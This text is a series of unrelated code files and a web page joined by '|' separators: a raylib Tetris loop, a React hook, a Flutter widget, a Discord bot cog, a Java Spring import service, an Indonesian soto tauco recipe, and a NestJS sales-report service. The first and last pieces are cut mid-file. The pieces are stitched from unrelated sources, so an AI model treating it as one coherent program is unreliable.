if (IsKeyPressed(KEY_RIGHT)) {
for (int k=0; k<numberOfPieces; k++) {
if (tetraI[k].col < (screenWidth/squareSide)-1) {
tetraI[k].col = tetraI[k].col + 1;
}
}
}
if (IsKeyPressed(KEY_LEFT)) {
for (int k=0; k<numberOfPieces; k++) {
if (tetraI[k].col > 0) {
tetraI[k].col = tetraI[k].col - 1;
}
}
}
if (IsKeyPressed(KEY_DOWN)) {
for (int k=0; k<numberOfPieces; k++) {
if (tetraI[k].row < (screenHeight/squareSide)-0) {
tetraI[k].row = tetraI[k].row + 1;
}
}
}
//--------------------------------------------------------------------------------
// Draw
//----------------------------------------------------------------------------------
BeginDrawing();
ClearBackground(RAYWHITE);
// Draw grid
for (int x = 0; x < screenWidth; x += screenWidth/10) {
DrawLine(x, 0, x, screenHeight, BLACK);
}
for (int y = 0; y < screenHeight; y += screenHeight/20) {
DrawLine(0, y, screenWidth, y, BLACK);
}
for(int i=0; i<r; ++i) {
for(int j=0; j<c; ++j) {
// spawnPoint
if ((i>=0 && i<=(3)) && (j>=3 && j<=(6))) {
colors_matrix[i][j] = 1;
DrawRectangle(j*squareSide,i*squareSide,squareSide,squareSide,GREEN); // coordinate in pixel
// draw a tetraminus
DrawRectangle(j*squareSide,i*squareSide,squareSide,squareSide,GREEN);
}
for (int k=0; k<numberOfPieces; k++) {
if ((i==tetraI[k].row) && (j==tetraI[k].col)) {
DrawRectangle(j*squareSide,i*squareSide,squareSide,squareSide,RED);
}
}
}
}
// DrawText("move the tetraminos with arrow keys", 50, (float)screenHeight/2, 19, DARKGRAY);
// DrawRectangle(tetraminosPosition.x, tetraminosPosition.y, squareSide,squareSide, ORANGE);
EndDrawing();
//----------------------------------------------------------------------------------
}
// De-Initialization
//--------------------------------------------------------------------------------------
CloseWindow(); // Close window and OpenGL context
//--------------------------------------------------------------------------------------
return 0;
} |
import { useEffect, useRef } from 'react';
function useCloseElement(close: () => void, listenCapture = true) {
const ref = useRef<HTMLDivElement | null>(null);
useEffect(() => {
function handleClick(e: any) {
if (ref.current && !ref.current!.contains(e.target)) {
close();
}
}
document.addEventListener('click', handleClick, listenCapture);
return () =>
document.removeEventListener('click', handleClick, listenCapture);
}, [close, listenCapture]);
useEffect(() => {
function handleKeyDown(e: KeyboardEvent) {
if (ref.current && e.key === 'Escape') {
close();
}
}
document.addEventListener('keydown', handleKeyDown);
return () => document.removeEventListener('keydown', handleKeyDown);
}, [close]);
return { ref };
}
export default useCloseElement; |
import 'package:flutter/material.dart';
import 'package:flutter_svg/flutter_svg.dart';
class PhoneNumberTile extends StatelessWidget {
const PhoneNumberTile({super.key, required this.city});
final String city;
@override
Widget build(BuildContext context) {
return Padding(
padding: const EdgeInsets.symmetric(vertical: 8),
child: Row(
children: [
Container(
height: 40,
width: 40,
decoration: const BoxDecoration(
color: Colors.white,
shape: BoxShape.circle,
),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [SvgPicture.asset('images/mobile.svg')],
),
),
const SizedBox(width: 10),
Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
const Text(
'+1 (201) 123 45 67',
style: TextStyle(
fontSize: 15,
fontWeight: FontWeight.w600,
color: Color(0xFF29364E),
),
),
const Padding(padding: EdgeInsets.only(top: 6)),
Text(
city,
style: const TextStyle(
fontSize: 13,
fontWeight: FontWeight.w600,
color: Color(0xFF8693A3),
),
),
],
),
),
const _CustomChip(text: 'S'),
const SizedBox(width: 10),
const _CustomChip(text: 'V')
],
),
);
}
}
class _CustomChip extends StatelessWidget {
final String text;
const _CustomChip({
super.key,
required this.text,
});
@override
Widget build(BuildContext context) {
return Container(
width: 40,
height: 40,
alignment: Alignment.center,
decoration: BoxDecoration(
borderRadius: BorderRadius.circular(18),
border: Border.all(
color: const Color(0xFFD4D9E0),
),
),
child: Text(
text,
style: const TextStyle(
fontSize: 11,
fontWeight: FontWeight.w600,
color: Color(
0xFF29364E,
),
),
),
);
}
}
class CountryRow extends StatelessWidget {
const CountryRow({super.key});
@override
Widget build(BuildContext context) {
return Row(
children: [
Container(
height: 24,
width: 24,
decoration: const BoxDecoration(
shape: BoxShape.circle,
image: DecorationImage(
image: AssetImage('images/usa.png'),
fit: BoxFit.cover,
),
),
),
const SizedBox(width: 5),
const Text(
'United States',
style: TextStyle(
fontSize: 15,
fontWeight: FontWeight.w600,
color: Color(0xFF29364E),
),
),
],
);
}
} |
from discord.commands import Option,slash_command,user_command
from discord import Embed,User,ApplicationContext,Role
from .subcog import ExtensionFunSubCog
from random import choice,randint
from asyncio import sleep
from time import time
from re import sub
class ExtensionFunCommands(ExtensionFunSubCog):
@slash_command(
name='generate',
description='generate a sentence',
options=[
Option(str,name='type',description='type',choices=['insult','excuse'])])
async def slash_generate_insult(self,ctx:ApplicationContext,type:str) -> None:
data = await getattr(self.client.db.inf,f'{type}s')()
match type:
case 'insult': result = ' '.join([choice(data.adjective),choice(data.noun)])
case 'excuse': result = ' '.join([choice(data.intro),choice(data.scapegoat),choice(data.delay)])
case _: raise ValueError('invalid /generate type, discord shouldn\'t allow this')
await ctx.response.send_message(result,ephemeral=await self.client.helpers.ephemeral(ctx))
@user_command(name='view profile')
async def user_profile_user(self,ctx:ApplicationContext,user:User) -> None:
doc = await self.client.db.user(user.id)
embed = Embed(
title=f'{user.name}\'s profile',
description=f'''id: {user.id}
creation date: <t:{int(user.created_at.timestamp())}:f>
username: {user.name}
display name: {user.display_name}'''.replace('\t',''),
color=await self.client.helpers.embed_color(ctx.guild_id))
embed.set_thumbnail(url=user.display_avatar.url)
if doc.config.general.private_profile:
await ctx.response.send_message(embed=embed,ephemeral=await self.client.helpers.ephemeral(ctx))
return
embed.add_field(name='statistics',
value=f'''seen messages: {sum(doc.data.statistics.messages.values()):,}
tts usage: {doc.data.statistics.tts_usage:,}
api usage: {doc.data.statistics.api_usage:,}'''.replace('\t',''))
if not doc.data.auto_responses.found:
await ctx.response.send_message(embed=embed,ephemeral=await self.client.helpers.ephemeral(ctx))
return
found_description = []
user_found = set(doc.data.auto_responses.found)
if base_found:=(user_found & (base_max:=set([b.id for b in self.client.au.au.base]))):
found_description.append(f'base: {len(base_found)}/{len(base_max)}')
if mention_found:=(user_found & set([m.id for m in self.client.au.au.mention()])):
found_description.append(f'mention: {len(mention_found)}')
if personal_found:=(user_found & (personal_max:=set([p.id for p in self.client.au.au.personal(user.id)]))):
found_description.append(f'personal: {len(personal_found)}/{len(personal_max)}')
if not ctx.guild:
await ctx.response.send_message(embed=embed,ephemeral=await self.client.helpers.ephemeral(ctx))
return
if unique_found:=(user_found & (unique_max:=set([u.id for u in self.client.au.au.unique(ctx.guild.id)]))):
found_description.append(f'unique: {len(unique_found)}/{len(unique_max)}')
if custom_found:=(user_found & (custom_max:=set([c.id for c in self.client.au.au.custom(ctx.guild.id)]))):
found_description.append(f'custom: {len(custom_found)}/{len(custom_max)}')
embed.add_field(name='auto responses found',value='\n'.join(found_description))
await ctx.response.send_message(embed=embed,ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='hello',
description='say hello to /reg/nal?')
async def slash_hello(self,ctx:ApplicationContext) -> None:
await ctx.response.send_message(
f'https://regn.al/{"regnal" if randint(0,100) else "erglud"}.png',
ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='roll',
description='roll dice with standard roll format',
options=[
Option(str,name='roll',description='standard roll format e.g. (2d6+1+2+1d6-2)')])
async def slash_roll(self,ctx:ApplicationContext,roll:str) -> None:
rolls,modifiers = [],0
embed = Embed(
title=f'roll: {roll}',
color=await self.client.helpers.embed_color(ctx.guild_id))
if (roll:=roll.lower()).startswith('d'):
roll = f'1{roll}'
roll = sub(r'[^0-9\+\-d]','',roll).split('+')
for i in roll:
if '-' in i and not i.startswith('-'):
roll.remove(i)
roll.append(i.split('-')[0])
for e in i.split('-')[1:]:
roll.append(f'-{e}')
for i in roll:
e = i.split('d')
try: [int(r) for r in e]
except:
await ctx.response.send_message('invalid input',ephemeral=await self.client.helpers.ephemeral(ctx))
return
match len(e):
case 1:
modifiers += int(e[0])
case 2:
if int(e[1]) < 1:
await ctx.response.send_message('invalid input',ephemeral=await self.client.helpers.ephemeral(ctx))
return
for f in range(int(e[0])):
res = randint(1,int(e[1]))
rolls.append(res)
case _: await ctx.response.send_message('invalid input',ephemeral=await self.client.helpers.ephemeral(ctx))
if rolls and not len(rolls) > 1024: embed.add_field(name='rolls:',value=rolls,inline=False)
if modifiers != 0: embed.add_field(name='modifiers:',value=f"{'+' if modifiers > 0 else ''}{modifiers}",inline=False)
embed.add_field(name='result:',value='{:,}'.format(sum(rolls)+modifiers))
await ctx.response.send_message(embed=embed,ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='time',
description='/reg/nal can tell time.')
async def slash_time(self,ctx:ApplicationContext) -> None:
await ctx.response.send_message(f'<t:{int(time())}:T>',ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='8ball',
description='ask the 8ball a question',
options=[
Option(str,name='question',description='question to ask',max_length=512)])
async def slash_8ball(self,ctx:ApplicationContext,question:str) -> None:
answer = choice(await self.client.db.inf.eight_ball())
embed = Embed(title=question,description=f'**{answer}**',color=await self.client.helpers.embed_color(ctx))
embed.set_author(name=f'{self.client.user.name}\'s eighth ball',icon_url='https://regn.al/8ball.png')
await ctx.response.send_message(embed=embed,ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='color',
description='generate a random color')
async def slash_color(self,ctx:ApplicationContext) -> None:
colors = [randint(0,255) for _ in range(3)]
colors_hex = ''.join([hex(c)[2:] for c in colors])
await ctx.response.send_message(
embed=Embed(
title=f'random color: #{colors_hex}',
description='\n'.join([f'{l}: {c}' for l,c in zip(['R','G','B'],colors)]),
color=int(colors_hex,16)),
ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='random_user',guild_only=True,
description='get random user with role',
options=[
Option(Role,name='role',description='role to roll users from'),
Option(bool,name='ping',description='ping the result user? (requires mention_everyone)')])
async def slash_random(self,ctx:ApplicationContext,role:Role,ping:bool) -> None:
if ping and not ctx.author.guild_permissions.mention_everyone:
await ctx.response.send_message('you need the `mention everyone` permission to ping users',ephemeral=True)
return
result = choice(role.members)
await ctx.response.send_message(f"{result.mention if ping else result} was chosen!",ephemeral=await self.client.helpers.ephemeral(ctx))
@slash_command(
name='bees',
description='bees.',
guild_only=True)
async def slash_bees(self,ctx:ApplicationContext) -> None:
if ctx.guild.id in self.bees_running:
await ctx.response.send_message(
'there may only be one bees at a time.',
ephemeral=await self.client.helpers.ephemeral(ctx))
return
if ctx.channel.name != 'bees':
await ctx.response.send_message(
'bees must be run in a channel named `bees`.',
ephemeral=await self.client.helpers.ephemeral(ctx))
return
await ctx.response.send_message(
'why. you can\'t turn it off. this is going to go on for like, 2 hours, 44 minutes, and 30 seconds. why.',
ephemeral=await self.client.helpers.ephemeral(ctx))
self.bees_running.add(ctx.guild.id)
for line in await self.client.db.inf.bees():
try: await ctx.channel.send(line)
except Exception: pass
await sleep(5)
self.bees_running.discard(ctx.guild.id) |
package exam.service.impl;
import com.google.gson.Gson;
import exam.model.dto.CustomerSeedDto;
import exam.model.dto.LaptopSeedDto;
import exam.model.entity.Customer;
import exam.model.entity.Laptop;
import exam.repository.LaptopRepository;
import exam.service.LaptopService;
import exam.service.ShopService;
import exam.util.ValidationUtil;
import org.modelmapper.ModelMapper;
import org.springframework.stereotype.Service;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.List;
@Service
public class LaptopServiceImpl implements LaptopService {
private static final String LAPTOP_FILE ="src/main/resources/files/json/laptops.json";
private final LaptopRepository laptopRepository;
private final ModelMapper modelMapper;
private final ValidationUtil validationUtil;
private final Gson gson;
private final ShopService shopService;
public LaptopServiceImpl(LaptopRepository laptopRepository, ModelMapper modelMapper, ValidationUtil validationUtil, Gson gson, ShopService shopService) {
this.laptopRepository = laptopRepository;
this.modelMapper = modelMapper;
this.validationUtil = validationUtil;
this.gson = gson;
this.shopService = shopService;
}
@Override
public boolean areImported() {
return this.laptopRepository.count() > 0;
}
@Override
public String readLaptopsFileContent() throws IOException {
return Files.readString(Path.of(LAPTOP_FILE));
}
@Override
public String importLaptops() throws IOException {
StringBuilder sb = new StringBuilder();
LaptopSeedDto[] laptopSeedDtos = gson.fromJson(readLaptopsFileContent(), LaptopSeedDto[].class);
Arrays.stream(laptopSeedDtos)
.filter(laptopSeedDto -> {
boolean isValid = validationUtil.isValid(laptopSeedDto);
sb.append(isValid ? String.format("Successfully imported Laptop %s - %.2f - %d - %d",
laptopSeedDto.getMacAddress(),laptopSeedDto.getCpuSpeed(),laptopSeedDto.getRam(),laptopSeedDto.getStorage())
: "Invalid Laptop").append(System.lineSeparator());
return isValid;
})
.map(laptopSeedDto -> {
Laptop laptop = modelMapper.map(laptopSeedDto,Laptop.class);
laptop.setShop(shopService.findShopByName(laptopSeedDto.getShop().getName()));
return laptop;
})
.forEach(laptopRepository::save);
return sb.toString();
}
@Override
public String exportBestLaptops() {
StringBuilder build = new StringBuilder();
this.laptopRepository.orderAllLaptops().forEach(laptop->
build.append(String.format("•\t\"Laptop - %s\n" +
"*Cpu speed - %.2f\n" +
"**Ram - %d\n" +
"***Storage -%d\n" +
"****Price - %.2f\n" +
"#Shop name - %s\n" +
"##Town - %s\n",laptop.getMacAddress(),
laptop.getCpuSpeed(),laptop.getRam(),laptop.getStorage(),laptop.getPrice(),
laptop.getShop().getName(),laptop.getShop().getTown().getName())));
return build.toString();
}
} |
---
description: "Cara Gampang Menyiapkan Soto Tauco/ Tauto yang nikmat"
title: "Cara Gampang Menyiapkan Soto Tauco/ Tauto yang nikmat"
slug: 1540-cara-gampang-menyiapkan-soto-tauco-tauto-yang-nikmat
date: 2020-07-13T00:20:43.138Z
image: https://img-global.cpcdn.com/recipes/856ddbc4c946e88f/751x532cq70/soto-tauco-tauto-foto-resep-utama.jpg
thumbnail: https://img-global.cpcdn.com/recipes/856ddbc4c946e88f/751x532cq70/soto-tauco-tauto-foto-resep-utama.jpg
cover: https://img-global.cpcdn.com/recipes/856ddbc4c946e88f/751x532cq70/soto-tauco-tauto-foto-resep-utama.jpg
author: Alan Moran
ratingvalue: 4.7
reviewcount: 15
recipeingredient:
- "1/2 kg dada ayam"
- "1 batang sereh"
- "1 jempol laos geprek"
- "1 ruas jahe geprek"
- "3 lembar daun salam"
- " Minyak goreng secukupnya untuk menumis"
- "2,5 liter air"
- " Garam gula dan penyedap"
- "7 sendok makan tauco"
- " Bumbu halus"
- "10 siung bawang merah kecil2 klo besar2 8 cukup"
- "4 siung bawang putih"
- "4 butir kemiri"
- "8 buah cabe merah"
- "1 ruas kunyit"
- " Bahan pelengkap"
- " Tauge"
- " Bihun"
- " Daun bawang"
- " Kerupuk usek goreng"
- " Bawang goreng"
recipeinstructions:
- "Rebus ayam dengan 2,5 liter air, tambahkan daun salam dan sedikit garam."
- "Sambil menunggu rebusan ayam, haluskan bumbu halus kemudian di wajan kecil tumis bumbu halus tersebut."
- "Jika bumbu sudah mulai harum masukan sereh, jahe dan laos hingga aromanya wangi atau bumbu sudah matang. Sisihkan."
- "Kemudian, apabila ayam yang direbus sudah matang angkat, dan tiriskan. Kemudian ayam bisa digoreng hingga keemasan.suwir suwir"
- "Pada kuah kaldu atau air rebusan ayam masukan bumbu halus dan tauco, tambahkan garam, gula, dan penyedap. Koreksi rasa hingga sesuai. Didhkan air sktar 5 s/d 10 menit kuah soto siap digunakan."
- "Rebus tauge dan bihun hingga matang atau hanya disiram air panas saja. Tiris kan."
- "Potong kecil daun bawang bisa masukan pada kuah atau saat penyajian"
- "Untuk penyajian pada mangkuk. Masukan lontong/nasi, bihun, tauge, daun bawang dan ayam. Kemudian siram dengan kuah soto, tambahkan bawang goreng dan kerupuk sajikan."
- "Selamat mencoba....."
categories:
- Resep
tags:
- soto
- tauco
- tauto
katakunci: soto tauco tauto
nutrition: 275 calories
recipecuisine: Indonesian
preptime: "PT13M"
cooktime: "PT38M"
recipeyield: "1"
recipecategory: Lunch
---

<b><i>soto tauco/ tauto</i></b>, Memasak merupakan suatu kegiatan yang menggembirakan dilakukan oleh banyak kalangan. tidak hanya para bunda, sebagian laki laki juga sangat banyak yang berminat dengan kegemaran ini. walaupun hanya untuk sekedar bersenang senang dengan sahabat atau memang sudah menjadi hobi dalam dirinya. maka dari itu dalam dunia masakan sekarang sedikit banyak ditemukan pria dengan skill memasak yang mumpuni, dan banyak sekali juga kita melihat di berbagai rumah makan dan cafe yang mempekerjakan chef pria sebagai koki andalan nya.
Baik, kita kembali ke hal bumbu makanan <i>soto tauco/ tauto</i>. di sela sela kegiatan kita, mungkin akan terasa menyenangkan apabila sejenak kalian menyempatkan sedikit waktu untuk mengolah soto tauco/ tauto ini. dengan kesuksesan kita dalam meracik hidangan tersebut, dapat membuat diri kita bangga akan hasil masakan kita sendiri. dan juga disini dengan situs ini kita akan memiliki saran saran untuk mengolah makanan <u>soto tauco/ tauto</u> tersebut menjadi makanan yang yummy dan sempurna, oleh karena itu catat alamat laman ini di gadget anda sebagai sebagian pedoman kalian dalam mengolah hidangan baru yang nikmat.
Mari langsung saja kita start untuk menyiapkan alat alat yang diperuntuk kan dalam mengolah hidangan <u><i>soto tauco/ tauto</i></u> ini. setidaknya harus ada <b>21</b> bahan yang diperuntuk kan di masakan ini. supaya berikutnya dapat menghasilkan rasa yang yummy dan nikmat. dan juga sediakan waktu kita sejenak, karena anda akan membuatnya paling tidak dengan <b>9</b> tahapan. saya berharap semua yang dibutuhkan sudah kita miliki disini, Baiklah mari kita awali dengan mengamati dulu bahan bahan berikut ini.
<!--inarticleads1-->
##### Bahan pokok dan bumbu-bumbu yang digunakan untuk pembuatan Soto Tauco/ Tauto:
1. Sediakan 1/2 kg dada ayam
1. Gunakan 1 batang sereh
1. Gunakan 1 jempol laos geprek
1. Sediakan 1 ruas jahe geprek
1. Sediakan 3 lembar daun salam
1. Gunakan Minyak goreng secukupnya untuk menumis
1. Ambil 2,5 liter air
1. Siapkan Garam, gula dan penyedap
1. Gunakan 7 sendok makan tauco
1. Ambil Bumbu halus
1. Sediakan 10 siung bawang merah (kecil2 klo besar2 8 cukup)
1. Gunakan 4 siung bawang putih
1. Sediakan 4 butir kemiri
1. Ambil 8 buah cabe merah
1. Sediakan 1 ruas kunyit
1. Siapkan Bahan pelengkap
1. Gunakan Tauge
1. Ambil Bihun
1. Gunakan Daun bawang
1. Ambil Kerupuk usek goreng
1. Sediakan Bawang goreng
<!--inarticleads2-->
##### Cara menyiapkan Soto Tauco/ Tauto:
1. Rebus ayam dengan 2,5 liter air, tambahkan daun salam dan sedikit garam.
1. Sambil menunggu rebusan ayam, haluskan bumbu halus kemudian di wajan kecil tumis bumbu halus tersebut.
1. Jika bumbu sudah mulai harum masukan sereh, jahe dan laos hingga aromanya wangi atau bumbu sudah matang. Sisihkan.
1. Kemudian, apabila ayam yang direbus sudah matang angkat, dan tiriskan. Kemudian ayam bisa digoreng hingga keemasan.suwir suwir
1. Pada kuah kaldu atau air rebusan ayam masukan bumbu halus dan tauco, tambahkan garam, gula, dan penyedap. Koreksi rasa hingga sesuai. Didhkan air sktar 5 s/d 10 menit kuah soto siap digunakan.
1. Rebus tauge dan bihun hingga matang atau hanya disiram air panas saja. Tiris kan.
1. Potong kecil daun bawang bisa masukan pada kuah atau saat penyajian
1. Untuk penyajian pada mangkuk. Masukan lontong/nasi, bihun, tauge, daun bawang dan ayam. Kemudian siram dengan kuah soto, tambahkan bawang goreng dan kerupuk sajikan.
1. Selamat mencoba.....
Diatas adalah sedikit pengulasan olahan perihal resep resep <u>soto tauco/ tauto</u> yang menggugah selera. saya ingin kalian dapat memahami dengan tulisan diatas, dan anda dapat memasak lagi di masa datang untuk di sajikan dalam aneka acara acara family atau teman anda. kalian bisa mengulik bumbu bumbu yang tertera diatas sesuai dengan selera anda, sehingga masakan <b>soto tauco/ tauto</b> ini dapat menjadi lebih yummy dan sempurna lagi. demikian pembahasan singkat ini, sampai berjumpa lagi di lain waktu. kami harap hari kamu menyenangkan. |
import { Injectable } from '@nestjs/common';
import { UserBusiness } from 'src/entities/booster/user/user.business.entity';
import { ReportType } from 'src/enums/user/report/report.type';
import { ServiceData } from 'src/models';
import { DateRangeDto } from 'src/modules/main/dto/date.range.dto';
import { CrefiaCardProvider } from 'src/modules/user/crefia/crefia.card.provider';
import { CrefiaDepositProvider } from 'src/modules/user/crefia/crefia.deposit.provider';
import { CrefiaPurchaseProvider } from 'src/modules/user/crefia/crefia.purchase.provider';
import { DeliveryDepositProvider } from 'src/modules/user/delivery/delivery.deposit.provider';
import { DeliveryProvider } from 'src/modules/user/delivery/delivery.provider';
import { HometaxCashSalesProvider } from 'src/modules/user/hometax/hometax.cash.sales.provider';
import { HometaxTaxProvider } from 'src/modules/user/hometax/hometax.tax.provider';
import { ReportProvider } from 'src/modules/user/report/report.provider';
import { CreateReportVO } from 'src/modules/user/report/vo/create.report.vo';
import { parseDashDate , parseDate} from 'src/utils/date';
@Injectable()
export class Report2Service {
constructor(
private readonly crefiaDepositPvd : CrefiaDepositProvider,
private readonly deliveryDepositPvd : DeliveryDepositProvider,
private readonly crefiaSalesPvd : CrefiaCardProvider,
private readonly cashSalesPvd : HometaxCashSalesProvider,
private readonly taxPvd : HometaxTaxProvider,
private readonly delvieryPvd : DeliveryProvider,
private readonly reportPvd : ReportProvider,
private readonly crefiaPurchasePvd : CrefiaPurchaseProvider
){}
public async updateReport(id : string) {
try {
const report = await this.reportPvd.findOne(id);
const beforeTwoDay = new Date(new Date(report.date).setDate(new Date(report.date).getDate() -2)).toISOString();
const beforeOneDay = new Date(new Date(report.date).setDate(new Date(report.date).getDate() -1)).toISOString();
const beforeTwo = `${beforeTwoDay.substring(0,4)}-${beforeTwoDay.substring(5,7)}-${beforeTwoDay.substring(8,10)}`
const before = `${beforeOneDay.substring(0,4)}-${beforeOneDay.substring(5,7)}-${beforeOneDay.substring(8,10)}`
const obj = {
[beforeTwo] : 0,
[before] : 0
}
// 매출
const delivery = await this.delvieryPvd.reportSalesSum(
String(report.business),
beforeTwo,
`${before} 23:59:59`,
ReportType.day
)
delivery.forEach((item) => {
obj[item.date] = obj[item.date] + Number(item.total)
})
const card = await this.crefiaSalesPvd.reportSalesSum(
String(report.business) ,
beforeTwo,
`${before} 23:59:59`,
ReportType.day
)
card.forEach((item) => {
obj[item.date] = obj[item.date] + Number(item.total)
})
const cash = await this.cashSalesPvd.reportSalesSum(
String(report.business) ,
beforeTwo,
`${before} 23:59:59`,
ReportType.day
)
cash.forEach((item) => {
obj[item.date] = obj[item.date] + Number(item.total)
})
const tax = await this.taxPvd.reportSalesSum(
String(report.business) ,
beforeTwo,
`${before} 23:59:59`,
ReportType.day
)
tax.forEach((item) => {
obj[item.date] = obj[item.date] + Number(item.total)
})
let alertType : number;
const keys = Object.keys(obj)
const beforeSales : number = obj[keys[0]];
const sales : number = obj[keys[1]]; // save
// 전일과 당일 판매 금액이 없는 경우
if(beforeSales !== 0 && sales !== 0) {
const per = () : number => {
//감소
if(sales < beforeSales) {
alertType = 2;
if(sales === 0) {
return 100
}
return Math.round(((sales / beforeSales) - 1) * 10000) / 100;
} else if(sales === beforeSales) {
alertType = 3;
return 0
} else {
//증가
alertType = 1;
if(beforeSales === 0) {
return -100
}
return (Math.round((sales / beforeSales) * 10000) / 100) -100;
}
} // save
console.log(per())
const today = report.date.toISOString();
const dashToday = `${today.substring(0,4)}-${today.substring(5,7)}-${today.substring(8,10)}`
const expectedDelivery = await this.deliveryDepositPvd.reportDepositDelivery(
String(report.business) ,
dashToday,
0
);
const expectedPurchase = await this.crefiaDepositPvd.reportDeepositDate(
String(report.business) ,
dashToday,
0
);
let expectedTotal = 0;
if(expectedDelivery) {
expectedTotal = (expectedDelivery['settleAmt'] ? Number(expectedDelivery['settleAmt']) : 0)
}
if(expectedPurchase) {
expectedTotal = (expectedPurchase['realAmt'] ? Number(expectedPurchase['realAmt']) : 0)
}
const vo = new CreateReportVO(
ReportType.day,
sales,
beforeSales,
expectedTotal,
per(),
null
)
await this.reportPvd.updateOne(id , vo);
return ServiceData.ok("Successfully changed data" , {result : true} , 2101)
}
return ServiceData.ok("Sales or before sales are 0" , {result : false} , 2102)
} catch(e){
console.log(e)
return ServiceData.serverError();
}
}
public async purchase(
business : UserBusiness,
date : DateRangeDto
) : Promise<ServiceData> {
try {
const startDate = parseDashDate(date.start_date);
const endDate = parseDashDate(date.end_date);
const crefiaPurchases = this.crefiaPurchasePvd.dayPurchase(
business ,
startDate ,
endDate ,
1 ,
null
);
const deliveryPurchase = this.delvieryPvd.expectedPurchase(
business,
startDate,
endDate,
1,
1
)
return ServiceData.ok(
"Successfully getting purchase report",
{
purchase : {
crefia: await crefiaPurchases,
delivery : await deliveryPurchase
}
}
)
} catch(e) {
return ServiceData.serverError(e);
}
}
public async deposit(
business : UserBusiness,
date : DateRangeDto
) : Promise<ServiceData> {
try {
const startDate = parseDashDate(date.start_date);
const endDate = parseDashDate(date.end_date);
const crefiaDeposit = this.crefiaDepositPvd.depositDate(
business,
startDate,
`${endDate} 23:59:59`,
1
);
const deliveryDeposit = this.deliveryDepositPvd.dayDepositDelivery(
business,
startDate,
`${endDate} 23:59:59`,
1
)
return ServiceData.ok(
"Successfully getting deposit report",
{
deposit : {
crefia : await crefiaDeposit,
delivery : await deliveryDeposit
},
},
2101
)
} catch(e) {
return ServiceData.serverError();
}
}
public async sales(
business : UserBusiness,
date : DateRangeDto
) : Promise<ServiceData> {
try {
const startDate = parseDashDate(date.start_date);
const endDate = parseDashDate(date.end_date);
const beforeStart = parseDashDate(parseDate(new Date(new Date(startDate).getTime() - (24*60*60*1000))));
const beforeEnd = parseDashDate(parseDate(new Date(new Date(endDate).getTime() - (24*60*60*1000))));
const sum = async (
cards : string,
hometaxCash : string,
hometaxBill : string,
deliveries : string
) : Promise<number> => {
let crefia = cards ? Number(cards) : 0
let cash = hometaxCash ? Number(hometaxCash) : 0
let bill = hometaxBill ? Number(hometaxBill) : 0
let delivery = deliveries ? Number(deliveries) : 0
return crefia + cash + bill + delivery
}
const per = (sales , beforeSales) : string => {
//감소
if(sales < beforeSales) {
if(sales === 0) {
return '100.0'
}
return String(Number(Math.round(((sales / beforeSales) - 1) * 10000) / 100).toFixed(1));
} else if(sales === beforeSales) {
return '0'
} else {
if(beforeSales === 0) {
return '-100.0'
}
//증가
return String(Number((Math.round((sales / beforeSales) * 10000) / 100) -100).toFixed(1));
}
}
const beforeCrefia = await this.crefiaSalesPvd.dateSum(
business,
beforeStart,
`${beforeEnd} 23:59:59`,
)
const beforeCash = await this.cashSalesPvd.dateSum(
business,
beforeStart,
`${beforeEnd} 23:59:59`
);
const beforeBill = await this.taxPvd.dateSum(
business,
beforeStart,
`${beforeEnd} 23:59:59`,
)
const beforeDelivery = await this.delvieryPvd.dateSum(
business,
beforeStart,
`${beforeEnd} 23:59:59`,
)
const crefiaSales = await this.crefiaSalesPvd.dateSum(
business,
startDate,
`${endDate} 23:59:59`,
)
const cashSales = await this.cashSalesPvd.dateSum(
business,
startDate,
`${endDate} 23:59:59`
);
const taxBill = await this.taxPvd.dateSum(
business,
startDate,
`${endDate} 23:59:59`,
)
const deliverySales = await this.delvieryPvd.dateSum(
business,
startDate,
`${endDate} 23:59:59`,
)
const beforeSum = await sum(beforeCrefia,beforeCash,beforeBill,beforeDelivery);
const todaySum = await sum(crefiaSales,cashSales,taxBill,deliverySales);
const percent : string = await per(todaySum,beforeSum)
return ServiceData.ok(
"Successfully getting sales report",
{
before : beforeSum,
today : todaySum,
per : percent,
sales : {
crefia : crefiaSales ? crefiaSales : '0',
cash : cashSales ? cashSales : '0',
bill : taxBill ? taxBill : '0',
delivery : deliverySales ? deliverySales : '0'
}
}
)
} catch(e) {
return ServiceData.serverError();
}
}
private async salesSum(
business : UserBusiness,
startDate,
endDate
) : Promise<Object> {
try {
let obj : Object = {};
const start = new Date(startDate);
const end = new Date(endDate);
// new Arrayobj
for(start ; start <= end ; start.setDate(start.getDate() + 1)) {
obj[parseDate(start)] = 0;
}
const cardSales = await this.crefiaSalesPvd.calendar(
business ,
startDate ,
`${endDate} 23:59:59`
);
cardSales.forEach((card) => {
obj[card['trDt']] = obj[card['trDt']] + Number(card['apprSumAmt'])
})
const cashSales = await this.cashSalesPvd.calendar(
business ,
startDate ,
`${endDate} 23:59:59`
)
cashSales.forEach((cash) => {
obj[cash['trDt']] = obj[cash['trDt']] + Number(cash['totAmt'])
})
const taxes = await this.cashSalesPvd.calendar(
business ,
startDate ,
`${endDate} 23:59:59`
)
taxes.forEach((tax) => {
obj[tax['makeDt']] = obj[tax['makeDt']] + Number(tax['totAmt'])
})
const deliveries = await this.delvieryPvd.salesCalendar(
business ,
startDate ,
`${endDate} 23:59:59`,
0
)
deliveries.forEach((delivery) => {
obj[delivery['orderDt']] = obj[delivery['orderDt']] + Number(delivery['payAmt'])
})
return obj
} catch(e) {
return null
}
}
public async day(
business : UserBusiness,
date : DateRangeDto
) {
try {
const startDate = parseDashDate(date.start_date);
const endDate = parseDashDate(date.end_date);
const startOneWeek = parseDashDate(parseDate(new Date(new Date(startDate).getTime() - (7*24*60*60*1000))));
const endOneWeek = parseDashDate(parseDate(new Date(new Date(endDate).getTime() - (7*24*60*60*1000))));
const beforeDay : Object = await this.salesSum(business , startOneWeek , endOneWeek)
const thisDay : Object = await this.salesSum(business , startDate , endDate)
return ServiceData.ok(
"Successfully getting day statistics",
{
before : Object.values(beforeDay)[0],
this : Object.values(thisDay)[0]
}
)
} catch(e) {
return ServiceData.serverError();
}
}
public async monthlyStack(
business : UserBusiness,
